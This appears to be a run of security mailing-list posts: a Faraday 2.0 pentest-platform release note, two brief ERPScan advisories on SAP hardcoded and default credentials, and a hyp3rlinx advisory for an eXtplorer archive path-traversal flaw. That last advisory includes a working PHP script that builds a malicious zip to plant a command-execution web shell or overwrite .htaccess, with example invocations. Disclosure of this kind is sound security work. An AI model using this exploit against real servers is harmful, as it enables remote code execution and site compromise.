Faraday v2.0: Collaborative Penetration Test and Vulnerability Management Platform

Faraday is the Integrated Multiuser Risk Environment you were looking
for! It maps and leverages all the knowledge you generate in real
time, letting you track and understand your audits. Our dashboard for
CISOs and managers uncovers the impact and risk being assessed by the
audit in real-time without the need for a single email. Developed with
a specialized set of functionalities that help users improve their own
work, the main purpose is to re-use the available tools in the
community taking advantage of them in a collaborative way! Check out
the Faraday project in Github.

Two years ago we published our first community version consisting
mainly of what we now know as the Faraday Client and a very basic Web
UI. Over the years we introduced some pretty radical changes, but
nothing like what you are about to see - we believe this is a turning
point for the platform, and we are more than happy to share it with
all of you. Without further ado we would like to introduce you to
Faraday 2.0!

https://github.com/infobyte/faraday/releases/tag/v2.0

This release, presented at Black Hat Arsenal 2016, spins around our
four main goals for this year:

* Faraday Server - a fundamental pillar for Faraday's future. Some of
the latest features in Faraday required a server that could step
between the client and CouchDB, so we implemented one! It still
supports a small amount of operations but it was built thinking about
performance. Which brings us to objective #2...

* Better performance - Faraday will now scale as you see fit. The new
server allows to have huge workspaces without a performance slowdown.
200k hosts? No problem!

* Deprecate QT3 - the QT3 interface has been completely erased, while
the GTK one presented some versions ago will be the default interface
from now on. This means no more problems with QT3 non-standard
packages, smooth OSX support and a lighter Faraday Client for
everyone.

* Licenses - managing a lot of products is time consuming. As you may
already know we've launched Faraday's own App Store
https://appstore.faradaysec.com/ where you can get all of your
favourite tools (Burp suite, IDA Debugger, etc) whether they're open
source or commercial ones. But also, in order to keep your licenses up
to date and never miss an expiry date we've built a Licenses Manager
inside Faraday. Our platform now stores the licenses of third party
products so you can easily keep track of your licenses while
monitoring your pentest.

With this new release we can proudly say we already met all of this
year's objectives, so now we have more than four months to polish the
details. Some of the features released in this version are quite
basic, and we plan to extend them in the next few iterations.

Changes:

* Improved executive report generation performance.
* Totally removed QT3, GTK is now the only GUI.
* Added Faraday Server.
* Added some basic APIs to Faraday Server.
* Deprecated FileSystem databases: now Faraday works exclusively with
Faraday Server and CouchDB.
* Improved performance in web UI.
* Added licenses management section in web UI.
* Fixed bug when deleting objects from Faraday Web.
* Fixed bug when editing services in the web UI.
* Fixed bug where icons were not copied to the correct directory on
initialization.
* Added a button to go to the Faraday Web directly from GTK.
* Fixed bug where current workspace wouldn't correspond to selected
workspace on the sidebar on GTK.
* Fixed bug in 'Refresh Workspace' button on GTK.
* Fixed bug when searching for a non-existent workspace in GTK.
* Fixed bug where Host Sidebar and Status Bar information wasn't
correctly updated on GTK.
* Fixed sqlmap plugin.
* Fixed metasploit plugin.

We hope you enjoy it, and let us know if you have any questions or comments.

https://www.faradaysec.com
https://github.com/infobyte/faraday
https://twitter.com/faradaysec

------------------------------------------------------------------------
This list is sponsored by: Information Assurance Certification Review Board

Prove to peers and potential employers without a doubt that you can actually do a proper penetration test. IACRB CPT and CEPT certs require a full practical examination in order to become certified.

http://www.iacertification.org

[ERPSCAN-16-023] Potential backdoor via hardcoded system ID

Application:                            SAP АBAP BASIS

Versions Affected:                  SAP АBAP BASIS 7.4

Vendor URL:                          http://SAP.com

Bugs:                                      Hardcoded credentials

Sent:                                       01.02.2016

Reported:                                02.02.2016

Vendor response:                   02.02.2016

Date of Public Advisory:         10.05.2016

Reference:                              SAP Security Note  2292487

Author:                                   Vahagn Vardanyan (ERPScan)



Description



1. ADVISORY INFORMATION

Title: Potential backdoor via hardcoded system ID

Advisory ID: [ERPSCAN-16-023]

Risk: low

Advisory URL: https://erpscan.com/advisories/erpscan-16-023-potential-backdoor-via-hardcoded-system-id/

Date published: 10.05.2016

Vendors contacted: SAP



2. VULNERABILITY INFORMATION

Class: Hardcoded credentials

Impact: If access is allowed on the system with a particular system
ID, it could be a backdoor left by developers or this is debug code.

Remotely Exploitable: Yes

Locally Exploitable: No

[ERPSCAN-16-022] SAP Hybris E-commerce Suite VirtualJDBC – Default Credentials

Application:                            SAP Hybris E-commerce Suite

Versions Affected:                  SAP Hybris E-commerce Suite 5.1.0.3

Vendor URL:                          http://sap.com

Bugs:                                      Default credentials

Sent:                                       01.02.2016

Vendor response:                   02.02.2016

Date of Public Advisory:         10.05.2016

Author:                                   Aleksey Tyurin (ERPScan)



Description



1. ADVISORY INFORMATION

Title: SAP Hybris E-commerce Suite VirtualJDBC Default Credential

Advisory ID: [ERPSCAN-16-022]

Advisory URL: https://erpscan.com/advisories/erpscan-16-022-sap-hybris-e-commerce-suite-virtualjdbc-default-credential/

Date published: 10.05.2016

Vendors contacted: SAP



2. VULNERABILITY INFORMATION

Class: [CWE-259] Use of Hard-coded Password

Impact: SQL injection

Remotely Exploitable: Yes

Locally Exploitable: No

eXtplorer v2.1.9 Archive Path Traversal

[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/EXTPLORER-ARCHIVE-PATH-TRAVERSAL.txt

[+] ISR: apparitionsec


Vendor:
==============
extplorer.net



Product:
==================
eXtplorer v2.1.9

eXtplorer is a PHP and Javascript-based File Manager, it allows to browse directories, edit, copy, move, delete,
search, upload and download files, create & extract archives, create new files and directories, change file
permissions (chmod) and more. It is often used as FTP extension for popular applications like Joomla.



Vulnerability Type:
======================
Archive Path Traversal



CVE Reference:
==============
CVE-2016-4313



Vulnerability Details:
=====================

eXtplorer unzip/extract feature allows for path traversal as decompressed files can be placed outside of the intended target directory,
if the archive content contains "../" characters. This can result in files like ".htaccess" being overwritten or RCE / back door
exploits.


Tested on Windows


Reproduction steps:
==================

1) Generate an archive using below PHP script
2) Upload it to eXtplorer and then extract it
3) Check directory for the default 'RCE.php' file or use CL switch to overwrite files like .htaccess


Exploit code(s):
===============

Run below PHP script from CL...


[evil-archive.php]

<?php

if($argc<4){echo "Usage: <zip name>, <path depth>, <RCE.php as default? Y/[file]>";exit();}
$zipname=$argv[1];
$exploit_file="RCE.php";
$cmd='<?php exec($_GET["cmd"]); ?>';
if(!empty($argv[2])&&is_numeric($argv[2])){
$depth=$argv[2];
}else{
echo "Second flag <path depth> must be numeric!, you supplied '$argv[2]'";
exit();
}
if(strtolower($argv[3])!="y"){
if(!empty($argv[3])){
$exploit_file=$argv[3];
}
if(!empty($argv[4])){
$cmd=$argv[4];
}else{
echo "Usage: enter a payload for file $exploit_file wrapped in double quotes";
exit();
}
}
$zip = new ZipArchive();
$res = $zip->open("$zipname.zip", ZipArchive::CREATE);
$zip->addFromString(str_
repeat("..\\", $depth).$exploit_file, $cmd);
$zip->close();
echo "\r\nExploit archive $zipname.zip created using $exploit_file\r\n";
echo "================ by hyp3rlinx ===================";
?>

///////////////////////////////////////////////////////////////////////

[Script examples]

Use default RCE.php by passing "y" flag creating DOOM.zip with path depth of 2 levels
c:\>php evil-archive.php  DOOM 2  Y


Create DOOM.zip with path depth of 4 levels and .htaccess file to overwrite one on the system.
c:\>php evil-archive.php  DOOM 4  .htaccess  "allow from all"


Disclosure Timeline:
===================================
Vendor Notification: No reply
May 14, 2016 : Public Disclosure



Exploitation Method:
======================
Local



Severity Level:
================
Medium 6.3
CVSS:3.0/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information.

hyp3rlinx